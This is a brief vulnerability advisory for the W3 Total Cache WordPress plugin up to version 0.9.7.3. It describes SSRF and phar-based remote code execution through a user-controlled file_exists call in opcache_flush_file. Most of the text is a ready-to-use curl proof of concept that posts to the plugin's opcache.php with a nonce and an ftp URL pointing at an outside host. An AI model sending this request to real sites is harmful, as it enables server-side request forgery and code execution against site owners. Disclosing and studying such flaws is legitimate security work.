W3 Total Cache <= 0.9.7.3 - SSRF / RCE via phar
The implementation of opcache_flush_file calls file_exists with a parameter fully controlled by the user.
curl 'http://x.x.x.x/wp-content/plugins/w3-total-cache/pub/opcache.php' --data 'nonce=974ca6ad15021a6668e7ae02e1be551c&command=flush_file&file=ftp://y.y.y.y:zzzz/'